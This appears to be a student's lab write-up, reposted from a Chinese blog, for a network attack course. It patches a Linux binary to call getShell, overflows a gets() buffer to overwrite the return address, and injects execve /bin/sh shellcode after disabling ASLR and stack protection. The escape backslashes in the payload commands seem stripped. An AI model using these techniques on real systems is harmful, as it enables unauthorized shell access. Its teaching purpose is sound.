zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175222 《网络对抗技术》 Exp1 PC平台逆向破解

    实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    • 三个实践内容如下:

      • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
      • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
      • 注入一个自己制作的shellcode并运行这段shellcode。
    • 这几种思路,基本代表现实情况中的攻击目标:

      • 运行原本不可访问的代码片段
      • 强行修改程序执行流
      • 以及注入运行任意代码。

    基础知识

    • 熟悉Linux基本操作
      • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
    • 理解Bof的原理。
      • 能看得懂汇编、机器指令、EIP、指令地址。
    • 会使用gdb,vi。
    • 指令、参数

      • 这些东西,我自己也记不住,都是用时现查的。
      • 所以一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
      • 要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
    • 操作成功不重要,照着敲入指令肯定会成功。

    • 重要的是理解思路。

      • 看指导理解思路,然后抛开指导自己做。
      • 碰到问题才能学到知识。
      • 具体的指令可以回到指导中查。

    直接修改程序机器指令,改变程序执行流程

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

    • 学习目标:理解可执行文件与机器指令

    • 进阶:掌握ELF文件格式,掌握动态技术

    下载目标文件pwn1,反汇编。

    • 先看第12行,"call 8048491 "是汇编指令
      • 是说这条指令将调用位于地址8048491处的foo函数;
      • 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
        • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,
    • main函数调用foo,对应机器指令为“ e8 d7ffffff”,

      • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
      • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
    • 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

    root@KaliYL:~# cp 20175222pwn1 20175222pwn2
    root@KaliYL:~# vi 20175222pwn2
    以下操作是在vi内
    1.按ESC键
    2.输入如下,将显示模式切换为16进制模式
    :%!xxd
    3.查找要修改的内容
    /e8d7
    4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
    5.修改d7为c3
    6.转换16进制为原格式
    :%!xxd -r
    7.存盘退出vi
    :wq
    



    8.再反汇编看一下,call指令是否正确调用getShell 9.运行下改后的代码,会得到shell提示符#

    3 通过构造输入参数,造成BOF攻击,改变程序执行流

    知识要求:堆栈结构,返回地址 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取 进阶:掌握ELF文件格式,掌握动态技术

    3.1 反汇编,了解程序的基本功能

    
    root@KaliYL:~#  objdump -d pwn1 | more
    
     8048477:	90                   	nop
     8048478:	e9 73 ff ff ff       	jmp    80483f0 <register_tm_clones>
    
    == 注意这个函数getShell,我们的目标是触发这个函数  ==
    
    0804847d <getShell>:
     804847d:	55                   	push   %ebp
     804847e:	89 e5                	mov    %esp,%ebp
     8048480:	83 ec 18             	sub    $0x18,%esp
     8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)
     804848a:	e8 c1 fe ff ff       	call   8048350 <system@plt>
     804848f:	c9                   	leave  
     8048490:	c3                   	ret    
    
    == 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞  ==
    
    08048491 <foo>:
     8048491:	55                   	push   %ebp
     8048492:	89 e5                	mov    %esp,%ebp
     8048494:	83 ec 38             	sub    $0x38,%esp
     8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
     804849a:	89 04 24             	mov    %eax,(%esp)
     
     == 这里读入字符串,但系统只预留了__字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==
     
     804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
     80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
     80484a5:	89 04 24             	mov    %eax,(%esp)
     80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
     80484ad:	c9                   	leave  
     80484ae:	c3                   	ret    
    
    080484af <main>:
     80484af:	55                   	push   %ebp
     80484b0:	89 e5                	mov    %esp,%ebp
     80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
     80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>
     
     ==上面的call调用foo,同时在堆栈上压上返回地址值:__________== 
     
     80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
     80484bf:	c9                   	leave  
     80484c0:	c3                   	ret    
     80484c1:	66 90                	xchg   %ax,%ax
     80484c3:	66 90                	xchg   %ax,%ax
     80484c5:	66 90                	xchg   %ax,%ax
     80484c7:	66 90                	xchg   %ax,%ax
     80484c9:	66 90                	xchg   %ax,%ax
     80484cb:	66 90                	xchg   %ax,%ax
     80484cd:	66 90                	xchg   %ax,%ax
     80484cf:	90                   	nop
    
    080484d0 <__libc_csu_init>:

    3.2 确认输入字符串哪几个字符会覆盖到返回地址

    如果输入字符串122233455456676688a55687983221132edd456658,那 1222那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

    构造输入字符串

    由为我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件。x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

    root@KaliYL:~# perl -e 'print "122233455456676688a55687983221132edd456658x7dx84x04x08x0a"' > input

    关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

    可以使用16进制查看指令xxd查看input文件的内容是否如预期。

    然后将input的输入,通过管道符“|”,作为pwn1的输入。

    4. 注入Shellcode并执行

    4.1 准备一段Shellcode

    • shellcode就是一段机器指令(code)
      • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
      • 所以这段机器指令被称为shellcode。
      • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

    4.2 准备工作

    修改些设置。这部分的解释请看第5小节Bof攻击防御技术.

    root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
    root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
    X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    0
    

    4.3 构造要注入的payload。

    • Linux下有两种基本构造攻击buf的方法:
      • retaddr+nop+shellcode
      • nop+shellcode+retaddr。
    • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
    • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
    • 我们这个buf够放这个shellcode了
    • 结构为:nops+shellcode+retaddr。
      • nop一为是了填充,二是作为“着陆区/滑行区”。
      • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
    root@KaliYL:~# perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    
    上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
    特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。

    打开一个终端注入攻击buf,再开另外一个终端,用gdb来调试pwn1这个进程。

    //1.找到pwn1的进程号是:7858
    
    
    
    //2.启动gdb调试这个进程
    //3. 通过设置断点,来查看注入buf的内存地址
    //4.我决定将返回地址改为0xffffd300。
    
    预设条件:

    (1)关闭堆栈保护(gcc -fno-stack-protector)

    (2)关闭堆栈执行保护(execstack -s)

    (3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

    (4)在x32环境下

    (5)在Linux实践环境

    总结

    1. 实验收获与感想

    第一次实验学习到了如何构造攻击,因为水平不高都是参照实践说明一步步来的,不过自己动手做一遍还是有很大的收获,也遇到一些低级错误,比如没有先运行,使用gdb pwn1直接进行调试,导致出错。 比如找错了进程号,应该是./pwn1的进程号。以后的实验会多加留意的。

    2. 什么是漏洞?漏洞有什么危害?

    漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。是受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。

    漏洞的存在,很容易导致黑客的侵入及病毒的驻留,会导致数据丢失和篡改、隐私泄露乃至金钱上的损失,如:网站因漏洞被入侵,网站用户数据将会泄露、网站功能可能遭到破坏而中止乃至服务器本身被入侵者控制。目前数码产品发展,漏洞从过去以电脑为载体延伸至数码平台,如手机二维码漏洞,安卓应用程序漏洞等等...

  • 相关阅读:
    Leetcode 1489找到最小生成树李关键边和伪关键边
    Leetcode 113 路径总和 II
    hdu 1223 还是畅通工程
    hdu 1087 Super Jumping! Jumping! Jumping!
    hdu 1008 Elevator
    hdu 1037 Keep on Truckin'
    湖工oj 1241 畅通工程
    湖工oj 1162 大武汉局域网
    hdu 2057 A + B Again
    poj 2236 Wireless Network
  • 原文地址:https://www.cnblogs.com/cn171-101/p/12509744.html
Copyright © 2011-2022 走看看